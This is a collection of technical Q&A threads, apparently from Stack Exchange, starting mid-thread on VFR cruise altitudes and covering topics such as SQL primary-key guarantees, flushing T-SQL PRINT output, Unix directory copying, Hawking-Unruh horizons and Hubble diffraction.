"Practical" means that what is optimal depends on winds and trip length (leaving out terrain considerations here).  A 12 minute cruise climb to 8 or 8500 feet for a 30 minute trip may not be worth it if you're going to start down again as soon as you get there.  On an hour long plus trip, it is.  Same with winds.  If there are strong tail winds aloft, you may get maximum net MPG by going as high as possible and cruising at less than 75%.  If there are strong head winds, it might be better to go low to maximize ground speed.  For any particular set of conditions, there will be some sweet spot profile that gets you from A to B on the least fuel if you're an owner, or in the shortest time if you're a wet renter paying by Hobbs.
With computer software, it's easy to work out the ideal profile for a trip based on distance and winds aloft and a lot of the nav apps out there have "VNAV" features that do this for you.
Comment: "Air miles per gallon" is miles through the air mass, without allowing for wind.  Obviously, factoring in the wind changes the net MPG, which I talked about in my second para.
Comment: The most air miles per gallon is a misnomer, as higher altitudes will generally have higher winds.  In SE piston aircraft, such as training aircraft, the winds can be 20 to 40% of the cruise speed, which imparts a high economic penalty for the increased "efficiency" of higher altitude flight.  Even a direct crosswind will cost.
Comment: Yeah you're right!  I had a brain fart and was counting up from the bottom. Weird.
Comment: @JohnK: By my count, it's actually your _fifth_ paragraph.
Answer: Go where you feel safest, terrain will certainly play a role (and be aware of migratory bird habits too!), as well as clouds and your ability to follow landmarks.  Amazing how tiny even a runway can look from 6000 feet, and hazy/humid conditions can make it much worse.
If you are flying VFR, with other traffic flying in the same direction, they should be easy to see, especially if you have more than one set of eyes out the window. Resource your passenger(s) and monitor local radio for traffic.
Chances are, if things "are pretty crowded" you may be flying into controlled airspace.
Otherwise, that situation is not the time to save your light bulbs.  Especially if flying out of the sun, light them up, and weave a bit if flying into the sun.
Your thoughts on changing altitude to avoid traffic are sound.
Answer: It's very possible. You'd also have more gliding range higher up. However, you're always going to be safer above 10,000 on flight following because of the transponder requirement.
Comment: In which country? According to which rule?
Comment: @Harper I agree, but that is country (or airspace) specific, so that's why I asked. In the meantime I looked up some materials and it appears to be about USA. But it wasn't explicitly indicated.
Comment: @VladimirF I think Dan means because you'll have direct help from someone with knowledge of winds and visibility, who is tracking you.  That advice, plus the altitude, greatly increases your chance of gliding to an airport with services.
Comment: Yeah sorry, I am a true American....I assume everyone else is too. My mistake.

Which altitudes are safest for VFR?


Non-projective tree sentences

Question: I'm trying to generate the non-projective tree of the sentence:

"A hearing is scheduled on the issue today."

But with the Stanford Core NLP tool (https://corenlp.run/), I obtain a projective tree:

Why this behavior?
Comment: Many non-projective sentences of this kind are ambiguous and the parser often picks the less appropriate parse.
Comment: @Atamiri thank you. Do you know a parser that produces the non-projective tree?
Comment: I don't. The parse selection heavily depends on (lexical) semantics so maybe an OT parser would give good results.
Answer: The analysis provided by the Stanford parser is controversial. The Stanford annotation scheme assumes that function words are dependents of content words. Hence it shows the auxiliary is as a dependent of scheduled and the preposition on as a dependent of issue. The result of these assumptions is a tree structure that is relatively flat. The flatter the parse structure, the fewer the discontinuities (=projectivity violations). The first analysis is the better analysis insofar as it shows a dependency structure that is motivated by linguistic insights, such as the results of tests for constituents. I have examined the relevant matters surrounding these competing parses in detail. See the article here.
Using a different convention for showing dependencies, the first parse in the question can be rendered as follows (ignoring the status of punctuation marks):

Observe that there are five levels shown (excluding the bottom level where the string of words is given) and that the projectivity violation, which is due to extraposition, is clearly visible in the form of crossing lines. The second parse, i.e. the Stanford parse, is rendered as follows:

There are now just three levels shown due to the fact that the auxiliary verb and preposition are positioned as dependents rather than as heads. The flatter structure is such that there is less chance for a discontinuity to occur. Actually, though, there should still be a discontinuity present even for the Stanford parser, since if one were to extend a dependency from hearing to issue, crossing lines would again be present despite the flatter structure. Either the Stanford parser has overlooked the presence of extraposition or it has already performed an adjustment to the parse to avoid the projectivity violation.
Another analysis is given next, one that is along the lines of the first analysis but that avoids the projectivity violation by attaching the dependents in violation of projectivity to a word higher in the tree:

The dashed dependency edges indicate the presence of "rising", that is, the dependents in violation of projectivity have risen to attach to words that dominate their governors. If there is interest, I can easily provide more information about such analyses, since there is a tradition of doing this to overcome projectivity violations. The result is completely projective dependency analyses.
Finally, it could be the case that, as suggested above, the Stanford parser is manipulating the tree analyses to avoid the projectivity violation. That strikes me as unlikely, though, since I am not aware that the Stanford parser assumes that all structures are non-projective. It seems more likely that it has simply overlooked the presence of extraposition in the sentence.

Non-projective tree sentences


Issue with Page in OAF

Question: Hello Guys,
               Being new to OAF, i have one folder in patch under myprojects as demo.oracle.apps.server as well as webui. Now , i am trying to just run the first page created under webui directory and i have setup the database connection and assigned the application as sysadmin as i have system administrator responsibility. But while running the page which literally does not have a code in Jdeveloper , throws below error:
oracle.apps.fnd.framework.OAException: Application: FND, Message Name: FND-INVALID APPLICATION. Tokens: APPL = webui;
Answer: This issue got resolved by changing the application name.

Issue with Page in OAF


On the necessity of an event horizon for the Hawking-Unruh effect

Question: I first explain my reasoning. I know that a Schwarzschild metric is the right metric outside any spherical object, but I also know that it is correct in the empty space. So I thought: why we don't talk about Hawking's radiation for a star? Because, I thought, the metric inside a star in not the same outside. So I thought that an event horizon was necessary because, since inside of it all the matter tends toward the singularity, all the space time (singularity excepted) is described by the Schwarzschild metric, and so I can quantize a field using that metric. However, in Rindler space it's not so. In Rindler space I still have horizons, but now the Rindler coordinates describe only some part of the whole space time (they cover only the Rindler Wedges), and still I have Unruh effect. So what I thought before cannot be the reason for the importance of the horizon. So I ask, what is the horizon function, both in Schwarzschild and Rindler space?
Answer: Strictly speaking, event or observer horizons are not necessary for the Hawking & Unruh effects.
For example, one can consider a particle detector moving in Minkowski spacetime with time-dependent acceleration. If during a time interval acceleration is approximately constant, the detector would be registering quanta corresponding to Unruh effect. But such detector may not have an observer horizon at all, if acceleration is subsequently switched off.
One can also consider "black hole-like objects" without horizon, such as a collapsing star perpetually approaching would be horizon yet never quite forming it. (Such a geometry may require modifications to GR or alternatively it may be realized as analogue gravity model). Such object would be producing a flux of "Hawking-like" radiation despite not having event horizon.
But Schwarzschild and Rindler spacetimes offer considerable computational advantages for the derivation of Hawking & Unruh effects since horizons there are Killing horizons allowing us to consider static situation only.
For more discussion of the necessary and sufficient conditions for the Hawking effect see e.g. paper 1 and paper 2.
Answer: One should always be wary of argument that rely on coordinates, since they are just a tool to describe the spacetime. Rindler coordinates are somewhat convenient for accelerated observers but you can derive the Unruh effect in Minkowski coordinates just fine (this is done in the Review of Modern Physics on the Unruh effect, by Crispino, Matsas and Higuchi for instance).
To understand the importance of horizons we must consider what is a thermal bath. There are two ways to do so. The first one is to say that you know you are in a thermal bath if the expected value of the number operator is a thermal distribution. The second one is that a thermal bath is a mixed state whose density matrix is given by the Boltzmann form $e^{-\beta H}$. The second way implies the first, but the first does not imply the second, because you might have thermal distribution for the number operator but still have significant correlations between degrees of freedom such that the state is not strictly thermal.
In the first definition the horizons are not necessary, only that the trajectories of observers behave in such a way as to produce the thermal distribution in the number operator.
In the second definition the horizon does play a role. The Minkowski vacuum is a pure state but there is no transformation in quantum mechanics that send a pure state to a mixed state, in this case the thermal one. What does happen in the Unruh effect is that accelerated observers have a horizon separating them from the rest of spacetime. In other words there are degrees of freedom of the field inside the horizon which are not accessible to the observer. And in quantum mechanics whenever you do not have access to certain degrees of freedom you must trace over them in you current state. So given a Minkowski vacuum, if you trace over all degrees of freedom inside the horizon you get a thermal state of Boltzmann form.
In short, the horizon is relevant because it means there are degrees of freedom in the field which the observer cannot measure. The ignorance regarding this part of the field is what converts a pure state to a mixed state (in this case a thermal one)
Comment: Hello, I understood the fact that the uniform acceleration of the observer and the consequent formation of the horizon provoke an increase of the uncertainty, thus trasforming a pure state in a mixed one. However I cannot still figure out how increasing acceleration increases the Unruh temperature, thus decreasing the purity of the state. The horizon seems to me always the same, regardless of the acceleration, so I do not understand how the information can decreases with the augment of the acceleration.
Comment: @silviozzo, I'm not very experienced with quantum information, but I can say that the state is a global object, so regardless of acceleration all Rindler observers witness the same state and take the trace with respect to the same degrees of freedom. Therefore it seems strange to suggest that different observers have different information regarding the state. Why the inertial intuition of purity as information about mixing not really applying here is something I cannot explain. There is a lot of literature on Unruh effect and quantum information though, I'll try to find something about that


Primary key guarantees: duplicates and nullity

Question: Oracle allows primary keys to have duplicate and null values.
Using this capability isn't a particularly good idea, but it implies that some of what most developers consider a primary key's guarantees (non-null, unique) are not really guarantees.
CREATE TABLE oracle_guarantees (
    ID NUMBER(9,0),
    NAME VARCHAR2(50 BYTE),
    breed NVARCHAR2(100)
);

INSERT INTO oracle_guarantees VALUES (1, 'Fuzz Head', 'Tabby');
INSERT INTO oracle_guarantees VALUES (2, 'Fluffy Thing', 'Mix');
INSERT INTO oracle_guarantees VALUES (2, 'Fluffy Thing', 'Mix');
INSERT INTO oracle_guarantees VALUES (3, 'Tiger', 'Tabby');
INSERT INTO oracle_guarantees VALUES (4, 'Fur Beast', 'Bengal');
INSERT INTO oracle_guarantees VALUES (5, 'Karate', 'Japanese Bobtail');
INSERT INTO oracle_guarantees VALUES (6, 'Chairman Meow', 'Chinese Harlequin');
INSERT INTO oracle_guarantees VALUES (NULL, 'No Cat', 'No breed');

CREATE INDEX oracle_guarantees_pk ON oracle_guarantees (ID);
ALTER TABLE oracle_guarantees ADD CONSTRAINT oracle_guarantees_pk PRIMARY KEY (ID) DISABLE KEEP INDEX;
ALTER TABLE oracle_guarantees MODIFY CONSTRAINT oracle_guarantees_pk ENABLE NOVALIDATE;

SQLite PKs also allow one null but not duplicate values.
Is it possible to have constraints marked as primary keys which have duplicate values or null values in Microsoft SQL or Postgres?
In other words, can I absolutely rely on PK uniqueness and non-nullity within the documented feature set (ignoring cases like manually edited data files, bugs, or modified server source code)?

Further clarification:
I suspect that DBAs and developers work a little more differently than I thought.
Thought exercise:
A developer needs to uniquely identify rows on any table (the table structure is unknown at compile time).
Oracle's documentation on primary key constraints comes up in a search and says:

A primary key constraint combines a NOT NULL constraint and a unique
  constraint in a single declaration. That is, it prohibits multiple
  rows from having the same value in the same column or combination of
  columns and prohibits values from being null.

The developer then looks for a means to find the primary keys on any table at run time. They probably come across a question like this: https://stackoverflow.com/questions/9016578/how-to-get-primary-key-column-in-oracle
The top voted answer's query yields:

I believe that any reasonable non-DBA person would, at this point, conclude that the ID column cannot have NULL or duplicate values. This conclusion is not true.

Is it Oracle's fault? No.
Is the table properly designed? No.
Are the statements to create such a table complex? Immaterial.
Is the Id column a "real" primary key? Maybe not, but this is more a philosophical matter. ID is listed (and is shown as
"ENABLED") by the query in the top-rated SO answer to the linked question above. Perhaps that question needs to add a check for validation, but I have never once seen anyone check for this in code, nor do any answers in that thread or related threads I have found.

Ergo, in the real world, an arbitrary table can have a primary key (by definition of all_constraints.constraint_type) which has duplicate values. And NULL values.
I now know that software must also ensure that the constraint is validated. Excellent! That provides the guarantee I need.
The question is: Is it possible to have a primary key (as defined by DBMS metadata) that has NULL or duplicate values in PostgreSQL or Microsoft SQL?
Comment: Comments are not for extended discussion; this conversation has been [moved to chat](http://chat.stackexchange.com/rooms/57761/discussion-on-question-by-charles-burns-primary-key-guarantees-duplicates-and-n). Please continue there. Further chat-like comments may be simply removed.
Answer:
Oracle allows primary keys to have duplicate and null values.

Not really. What you have managed to create - after a series of complicated statements - is an enabled but not validated constraint. Which means that Oracle will check inserts and updates (for uniqueness) but there may be left existing duplicates. So it is a PK only in name. It's a not-validated constraint so not really a PK.

In other words, can I absolutely rely on PK uniqueness and non-nullity within the documented feature set (ignoring cases like manually edited data files, bugs, or modified server source code)?
More context: I am working on an application that displays records and allows a user to delete them on any arbitrary table. When dealing with an arbitrary table, I need to use metadata and other means to determine which guarantees I have. Much database development is about guarantees -- guarantees that a large transaction will commit or not (but not partially commit). Guarantees that a successfully modified row stays modified. And guarantees that a primary key uniquely refers to exactly one row.

Yes, you can rely but only if your application reads the metadata and all the details - which may differ from DBMS to DBMS.

SQL Server allows for disabled constraints? The application has to consider this when reading and interpreting the metadata tables.

Oracle allows for disabled or non-validated constraints? The application has to consider those options too, accordingly.

Postgres allows for some different weird scenarios? It has to consider them, too.

Another possible option - which may or may not be an option for you - is if the application is the only application that creates, deletes and modifies database objects or if all applications that do so are under your or a single control. Then it can rely on the soundness of the metadata ("consider only unique constraints") without checking for these details / rare cases - because it can rely that no such rare case is ever created in the first place.
With your conclusions:

Is it Oracle's fault? No.

I agree. I don't know why this was allowed but it probably solves some problem. And it probably was meant to be used only temporarily - e.g. during an import from another source to a database.

Is the table properly designed? No.
Are the statements to create such a table complex? Immaterial.

I agree, too, on both.

Is the Id column a "real" primary key? Maybe not, but this is more a philosophical matter. ID is listed (and is shown as "ENABLED") by the query in the top-rated SO answer to the linked question above. Perhaps that question needs to add a check for validation, but I have never once seen anyone check for this in code, nor do any answers in that thread or related threads I have found.

We come to the same conclusion: needs to add a check for validation.

As for what other possibilities exist in SQL Server and Postgres:

SQL Server:

PRIMARY KEY and UNIQUE constraints cannot be disabled.
Unique indexes can be disabled. They can also be re-enabled without check which would result in a situation very similar to the "enabled non-validated" in Oracle.
FOREIGN KEY and CHECK constraints can be disabled. They can be re-enabled without check, too.
See ALTER TABLE and Disable indexes and constraints for details. My answer in this question: What is a WITH CHECK CHECK CONSTRAINT? explains options and the syntax, which differs from Oracle's.

PostgreSQL:

PRIMARY KEY, UNIQUE and EXCLUDE constraints cannot be disabled.
FOREIGN KEY and CHECK constraints cannot be disabled. They can be created with the NOT VALID option though (which means that they are enabled without checking existing rows, as in SQL Server). See ALTER TABLE for details.
Answer: Within SQL Server a primary key is unique within the confines of the object, and cannot contain null values (in fact the column must be created with a not null constraint in order for it to be used in a primary key).
It is possible to create unique constraints, which will be unique, but will also allow for a null value.
Answer: Quoting PostgreSQL documentation on Primary Keys:

5.3.4. Primary Keys
A primary key constraint indicates that a column, or group of columns,
  can be used as a unique identifier for rows in the table. This
  requires that the values be both unique and not null. So, the
  following two table definitions accept the same data
[...]
Adding a primary key will automatically create a unique B-tree index
  on the column or group of columns listed in the primary key, and will
  force the column(s) to be marked NOT NULL.

So, in practice, it agrees with MS SQL Server; and the 2008 SQL Standard (draft from 2006):

A primary key constraint is a unique constraint that specifies PRIMARY
  KEY. A primary key constraint is satisfied if and only if no two rows
  in a table have the same non-null values in the unique columns and
  none of the values in the specified column or columns are the null
  value.
Comment: One can respect SQL servers choice of excluding null, on the other hand a ((null, null), (null, 1), (1, null), (1, 1)) is also a duplicate free unique set of keys in a model where null is allowed.


How do I flush the PRINT buffer in TSQL?

Question: I have a very long-running stored procedure in SQL Server 2005 that I'm trying to debug, and I'm using the 'print' command to do it. The problem is, I'm only getting the messages back from SQL Server at the very end of my sproc - I'd like to be able to flush the message buffer and see these messages immediately during the sproc's runtime, rather than at the very end.
Comment: Just a short notice for people who'll (like me) think the answers don't work for them: be sure to switch to "Messages" tab when the query is running. By default you'll see the "Results" tab.
Comment: I'm on Messages and still get nothing.
Answer: Use the RAISERROR function:
RAISERROR( 'This message will show up right away...',0,1) WITH NOWAIT

You shouldn't completely replace all your prints with raiserror.  If you have a loop or large cursor somewhere just do it once or twice per iteration or even just every several iterations.
Also: I first learned about RAISERROR at this link, which I now consider the definitive source on SQL Server Error handling and definitely worth a read:
http://www.sommarskog.se/error-handling-I.html
Comment: Note that TRY/CATCH in SQL will only catch errors with severity > 10, so using RAISERROR in this way won't jump into your CATCH statement. Which is great, as it means you can still use RAISERROR like this with TRY/CATCH. ref: http://msdn.microsoft.com/en-us/library/ms175976.aspx
Comment: Note that this doesn't work after the first 500 messages; once you print more than that it suddenly starts buffering!
Comment: At @GendoIkari's notice. I've tried it with ssms from 2016SP1 with this script. At 500 it switches to buffering 50 lines and at 1k it switches to 100 lines each. This continued at least until 2k, but then I stopped the script.
    declare @i int set @i = 0
    declare @t varchar(100)
    while 1=1 begin
        set @i = @i + 1
        set @t = 'print ' + convert(varchar, @i)
        RAISERROR (@t, 10, 1) WITH NOWAIT
        waitfor delay '00:00:00.010'
    end
Comment: @MahmoudMoravej No, I'm still running long-running processes using RAISEERROR, and just dealing with the fact that after a while, messages start getting buffered. It appears the only solution would be to use a different tool other than SSMS.
Comment: I think this is something that changed in a recent version of SS. Way back when I first wrote this we used RAISERROR for extensive logging of overnight batch processes with many more than 500 messages, and it wasn't a problem. But a lot can change in 7 years.
Comment: Some more details in this q https://stackoverflow.com/questions/20608989/can-i-print-immediately-for-each-iteration-in-a-loop why this won't work in sqlcmd in recent versions
Answer: Building on the answer by @JoelCoehoorn, my approach is to leave all my PRINT statements in place, and simply follow them with the RAISERROR statement to cause the flush.
For example:
PRINT 'MyVariableName: ' + @MyVariableName
RAISERROR(N'', 0, 1) WITH NOWAIT

The advantage of this approach is that the PRINT statements can concatenate strings, whereas the RAISERROR cannot. (So either way you have the same number of lines of code, as you'd have to declare and set a variable to use in RAISERROR).
If, like me, you use AutoHotKey or SSMSBoost or an equivalent tool, you can easily set up a shortcut such as "]flush" to enter the RAISERROR line for you. This saves you time if it is the same line of code every time, i.e. does not need to be customised to hold specific text or a variable.
Comment: Note that `RAISERROR()` does support `printf()`-style string interpolation. For example, if `@MyVariableName` is a stringish type (e.g., `VARCHAR(MAX)`, `NVARCHAR(MAX)`, etc.), you can use `RAISERROR()` with one line: `RAISERROR(N'MyVariableName: %s', 0, 1, @MyVariableName)`.
Comment: This is so convenient! I know that RAISERROR can do some simple substitution, but try substituting a [date]time, or calling a function from inside the RAISERROR statement! This answer gives you a simple FLUSH in the form of raising empty error (at the cost of a newline).
Answer: Yes... The first parameter of the RAISERROR function needs an NVARCHAR variable.  So try the following;
-- Replace PRINT function
DECLARE @strMsg NVARCHAR(100)
SELECT @strMsg = 'Here''s your message...'
RAISERROR (@strMsg, 0, 1) WITH NOWAIT

OR
RAISERROR (n'Here''s your message...', 0, 1) WITH NOWAIT

Comment: Look at the Messages tab on the bottom, next to Results tab or switch to Results To Text mode.
Comment: To switch to Results to Text mode, in SSMS, menu Tools -> Options -> Query Results -> SQL Server -> General -> Default Destination for Results, and choose "Results to Text" instead of "Results to Grids", re-open the query window and then you won't sit there looking at a blank Results tab like a dummy while the RAISERROR output goes to the Messages tab.
Answer: Another better option is to not depend on PRINT or RAISERROR and just load your "print" statements into a ##Temp table in TempDB or a permanent table in your database which will give you visibility to the data immediately via a SELECT statement from another window.  This works the best for me.  Using a permanent table then also serves as a log to what happened in the past.  The print statements are handy for errors, but using the log table you can also determine the exact point of failure based on the last logged value for that particular execution (assuming you track the overall execution start time in your log table.)
Comment: This might be an issue if you are writing a truly transactional script with commit and rollback. I don't believe you will be able to query your temp table live - and it will go away if your transaction fails.
Comment: @TheConstructor ; That is a helpful tip - I'll make use of that, thanks. However, aren't we still left with the temp table going away on rollback? If doing failure analysis, it seems like that would be a big shortcoming.
Comment: @SteveJ yes, there is certainly this. You can of course copy the data in a `READ UNCOMMITTED` transaction to another table, but you probably miss the moment just before `ROLLBACK`. So it probably solves the 'how far?' not the 'why rollback?'
Comment: With most errors, if you `SET XACT_ABORT OFF;` and rollback manually in a catch block or by other error detection means, you can save your logs from rollback via a table variable (be sure to use a table var as they are not affected by transaction rollbacks, but temp tables are):

`
-- at beginning
DECLARE @maxLogId INT = (SELECT MAX(ID) FROM LogTable);

-- do stuff

-- error handling
DECLARE @tmpLog TABLE (/* log table cols */);
INSERT INTO @tmpLog
SELECT * FROM LogTable
WHERE ID > @maxLogId;

ROLLBACK TRAN;

-- set identity insert on and reinsert contents of tmpLog
`
Comment: @SteveJ you can query it live by using `SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;` in your monitoring session
Answer: Just for the reference, if you work in scripts (batch processing), not in stored procedure, flushing output is triggered by the GO command, e.g.
print 'test'
print 'test'
go

In general, my conclusion is following: output of mssql script execution, executing in SMS GUI or with sqlcmd.exe, is flushed to file, stdoutput, gui window on first GO statement or until the end of the script.
Flushing inside of stored procedure functions differently, since you can not place GO inside.
Reference: tsql Go statement
Comment: `go` doesn't just flush output, it ends the batch as per the link you provided. Anything you `declare`d is discarded, so not very usable for debugging. `declare @test int print "I want to read this!" go set @test=5` will though you an error claiming `@test` is undefined because it is in a new batch.
Comment: I agree, this is not proper answer to this question, but I put the answer (see disclaimer on the start) since it could be useful for someone else - e.g. someone who runs batch sql.
Answer: To extend Eric Isaac's answer, here is how to use the table approach correctly:
Firstly, if your sp uses a transaction, you won't be able monitor the contents of the table live, unless you use the READ UNCOMMITTED option:
SELECT *
FROM table_log WITH (READUNCOMMITTED);

or
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
SELECT *
FROM table_log;

To solve rollback issues, put an increasing ID on the log table, and use this code:
SET XACT_ABORT OFF;
BEGIN TRY
  BEGIN TRANSACTION mytran;
  -- already committed logs are not affected by a potential rollback
  -- so only save logs created in this transaction
  DECLARE @max_log_id = (SELECT MAX(ID) FROM table_log);
  /*
   * do stuff, log the stuff
   */

  COMMIT TRANSACTION mytran;
END TRY
BEGIN CATCH
  DECLARE @log_table_saverollback TABLE
  (
    ID INT,
    Msg NVARCHAR(1024),
    LogTime DATETIME
  );

  INSERT INTO @log_table_saverollback(ID, Msg, LogTime)
  SELECT ID, Msg, LogTime
  FROM table_log
  WHERE ID > @max_log_id;

  ROLLBACK TRANSACTION mytran; -- this deletes new log entries from the log table

  SET IDENTITY_INSERT table_log ON;

  INSERT INTO table_log(ID, Msg, LogTime)
  SELECT ID, Msg, LogTime
  FROM @log_table_saverollback;

  SET IDENTITY_INSERT table_log OFF;
END CATCH

Notice these important details:

SET XACT_ABORT OFF; prevents SQL Server from just shutting down the entire transaction instead of running your catch block, always include it if you use this technique.
Use a @table_variable, not a #temp_table. Temp tables are also affected by rollbacks.


How to provide back link to page?

Question: I have created grid view page. When I go click on one specific grid its display content of that grid. Now I want to put one 'back' link in side the page of content, that back link displays main view page.
Comment: @MPD Yeah, I understand a lot of people wind up in these 'discussions' with clients (I know I do). As far as I'm concerned the technicality wins every time - providing different breadcrumbs/back-links based on the HTTP referrer violates HTTP. The most sensible solution is to inject a JS history link and be done with it, I think
Comment: It's amazing how so simple task can sometimes be so hard to figure out. To be honest, it's not google-able now as far as I can test, so please don't close due to lack of research.
Comment: Does this view displays items from a single content type? or from all content type?
Comment: I'm struggling to understand where the complexity is here - you want to add a link to a certain URL, on the full view page of a specific content type? What's wrong with creating a template file for that specific node type, and simply adding the link in HTML? If you're trying to get the link to appear _only_ if the content page has been visited as a result of clicking on one of the grids in the View, I'd suggest you might be approaching your build wrongly - it's easy to argue that displaying different content based on HTTP referrer violates the fundamental stateless nature of HTTP
Comment: It's unclear what the setup of the OP is, what's displayed in the listing page, how many listing pages he has, if one node can be on different listing pages etc. -1
Comment: @Clive I have been struggling to come up with a good solution to this for a long time.  When you have complicated search pages, or other types of aggregate views of content, clients ask for it.  Once you dive into the subtleties, it is surprisingly tricky.  Especially when you consider AJAX and page caching.
Comment: @Clive You read my mind...
Answer: Though they seem rather simple, "back" links on pages are rather tricky.  For the sake of this post, lets assume that you have a shopping site with a search page, and item detail pages.
One complication arises from the fact that users can arrive on the item detail page from multiple paths, including from Google and other pages that aren't in your site.  The back link really only makes sense when they have come from the search results page.
Another complication comes from how Drupal handles page caching.  You could potentially render a back link on a page, but unless you take some URL parameter into account (to have a different $cid), users may see the wrong cached page.  However, if you do tack on a back= to the URL parameter, you now severely lower the probability that a user will actually get a page from the cache.
I have mostly settled on Javascript based solutions.  There are two main options.  All are real variants on each other.  On the detail page, you jQuery in a link that goes back to the search results.
One way is to jQuery some logic on the search results page that sets a cookie with the exposed filer values, URL, or something similar.  Then on the detail page, you use this to go back.  However, this does not work cross-window / cross-tab, and there are security implications with building links this way.
The second way (and the way I have been using lately) just jQueries in a link on the item detail page that calls window.history.back().  This also isn't ideal, but it tends to be the least bad solution.
Answer: I would use the javascript solution (window.history.back()), because it's easy to implement.
You could add a php check to display or not the button to be sure you're coming from your website, and not from a Google search for example.
For this, check the $_SERVER['HTTP_REFERER'] variable. If it matches your DNS, then you display the link, otherwise not.
Comment: Hi Matt,would be possible to write the full code here including the $_SERVER check?I am not so experienced.Thanks!
Answer: In the content for which you have created a grid view page
 add a link field which will point to view page.
So eventually this Link field will be displayed when u see the view of particular content .So you can click on this link which will act as Back Link .
You can hide the link field in the grid view page by css .

How to provide back link to page?


Book for vector-valued integration?

Question: I am reading Singular Integrals and Differentiability Properties of Functions by E. M. Stein. In the second chapter the Calderón–Zygmund theory of singular integrals are extended to Hilbert space valued functions. However, the theory for integration of these vector-valued functions are only mentioned briefly. In particular, I have the following doubts:

What is the difference between strongly measurable and weakly measurable, and is that a big problem (for investigations in harmonic analysis)?
Why do we have $(L^p)'\cong L^{p'}$ in this case? The proof for $\mathbb{R}$ uses the Radon–Nikodym theorem, so probably we have to start from scratch to see that these are indeed true in the vector-valued case...

Thus my question is:

What is a book that proves all standard theorems on integration theory (especially $L^p$ spaces, Radon–Nikodym, etc.) in the context of vector-valued functions, preferably building the theory using the real theory (instead of starting from scratch), and does not get too technical?

I know of books (e.g., Real and Functional Analysis by S. Lang) which does cover these, but he starts from scratch. I wonder if there is a quick way to build the theory using the real case.
Thanks in advance!
Answer: Vector Measures by Diestel and Uhl is the text that I learned from. I believe it checks the right boxes for you. It does get technical, however.

Book for vector-valued integration?


Copy a directory on Unix

Question: How can I copy a directory structure, dir1, to dir2, (with all the subdirectories) on Unix using the terminal window?
Comment: " cp -r /dir1 /dir2 " Is this right ??
Comment: Yes, that is correct. You may want to mark one of the answers as your solution.
Answer: cp -rf /source/path/ /destination/path/

-r = recursive, copies all the sub-directories
-f = force, if an existing destination file cannot be opened, remove it and try again
Note You should be careful when using the -f flag because it will forcefully overwrite anything you copy to. Thank @Nifle for this suggestion.
You may want to use the * wildcard to copy all of the files in the directory if you need to.
Comment: I don't agree that you should use the `f` flag. `-f if an existing destination file cannot be opened, remove it  and try again`
Comment: Personally I always use the -f flag. Isn't a good practice so perhaps you are right.
Comment: If you know what it does, and you know what you are doing it's OK. But in this case with an inexperienced user it might not be suitable.
Comment: @Nifle Yeah, I understand what you are saying. Just that if he forces it, the chances of it working are better than if he didn't. It all depends upon what you are doing and that you understand what it does.
Comment: If you put a note in your answer about the `-f` flag being useful if you are copying  over  (as in overwriting things in ) I'll upvote it myself and delete my answer)
Comment: How about adding -p as well. --preserve=mode,ownership,timestamps, preserve the specified attributes (default: mode,ownership,timestamps), if possible additional attributes: context, links, xattr, all
Answer: While the cp -R answers are right (BTW the case of the flag on BSD must be capital, both are supported on linux), there is an old incantation involving tar:
$ tar cf - . | (cd DIR; tar xf - )

Why the heck would you do that? Because tar has a fairly sophisticated understanding of links both hard and symbolic.
Do you want you copy to replace existing symbolic links with one that have the same text? Or with links to the same target (adjusting relative paths to compensate)? Or with bitwise copies of the target?
If two files in the original are hard linked should the new structure have two copies of the data or just one?
Decisions, decisions. Tar has sensible defaults, but lets you be very specific about it.
Answer: I like
cp -axv source dest

Rsync is another good tool for this
rsync -va source dest

Copy a directory on Unix


How can diffraction happen in the Hubble Telescope?

Question: I've seen people talking about the angular resolution of the HST is, if using Rayleigh's criterion, equal to:
$$\theta = 1.220 \frac{\lambda}{D}$$
My question is, since the diameter of the HST $D$ (2.4m) is wayyy larger than the wavelength $\lambda$, how on earth would diffraction happen? Wouldn't the light just go through without any effects? Thanks.
Comment: Indeed, the effects are almost negligible. Calculating $\theta$ yields a very small number.
Comment: Hi @kristjan, I think the smaller $\theta$ is the better, as it stands for the ability of the telescope to differentiate objects to each other.
Answer: It all depends on what you want to resolve and how far away it is. For the  Andromeda galaxy at a distance of about 2.5 million light years, HST will resolve visible light objects about 0.6 light years apart.  If we take our separation from Proxima Centauri (4.3 ly) as typical of separations in the spiral (certainly it's less in the center of the galaxy), the HST will easily resolve individual stars, but not planets in solar systems (too small). In fact, the latest (2014) HST images of Andromeda show individual stars. So the diffraction already limits us to stars.
If we push to galaxies at 25 million ly, the resolution drops to 6 ly and we can't resolve separate stars.  That limits us identifying specific  single stars that go into supernovas.  If we're watching [EDIT here] UV or gamma, it's better because of the shorter wavelengths (smaller $\theta$ is better resolution, and supernovas have very interesting UV and gamma profiles.  It's nice to have stellar spectra both before and after the supernova, but if we can't resolve the star it hurts the overall wavelength range analysis.
[End edit]
Most recently HST has looked at galaxies about 13 billion ly away. In 500 nm light, that would be a resolution of 3300 ly. That makes it difficult (but not impossible) to determine any shape or structure of the galaxy.
I wouldn't say the light goes through "without any effects."
Added: The reason there is diffraction is the circular aperture always interrupts the EM wave.  This partial sampling of the wave is what creates the diffraction effects. It's always there, but we usually don't notice it because other effects will blur an image first (atmospheric, optical aberration, etc.) While the diffraction is small, it is noticeable for images with small angular size. HST's huge aperture located outside the atmosphere allows it to have an impressive distance reach before Rayleigh diffraction is noticable.
Comment: Hi @Bill, thanks for your reply. I guess in my question I was not clear about my point. I know how well HST works but what I'm asking here is what makes it work so well. According to textbooks diffraction happens (at least only noticable) when a wave going through a slit whose width is comparable to its wavelength, but since the diameter of HST is way larger than the light wave length, how would diffraction happen and how is the HST making use of the phenomenon to interpret the atlases? Thanks.
Comment: @Lampard : I added a section to try to address your question more directly. I don't know about interpreting the atlases.


How to measure angle in QGIS

Question: While measuring an angle in QGIS using measure angle tool, it is showing as 0 to 180 degree for clockwise direction and -1 to -179 for anticlockwise. What I need is, interior angle between vertices of irregular polygon. How should I calculate in QGIS?
Comment: Do you want to populate an attribute with the value or use the value for further processing? GUI or python based solution? There a several recent Q&A on calculation of angles given 3 points.
Comment: Yes, I wanna populate using some tools in QGIS.
Answer: http://anitagraser.com/2015/05/24/how-to-create-illuminated-contours-tanaka-style/ contains some way to do this:
First you split the lines/polygons into their atomic segments with v.split.
Then you calculate the azimuth for each of those features, see eg How to add Direction and Distance to attribute table? for the formula.
I don't know a better way but maybe there is.
Comment: I have tried to find angle in this way. But what am getting is only true bearing (i.e., an angle of line from true north). I wanna know interior angles of polygon.
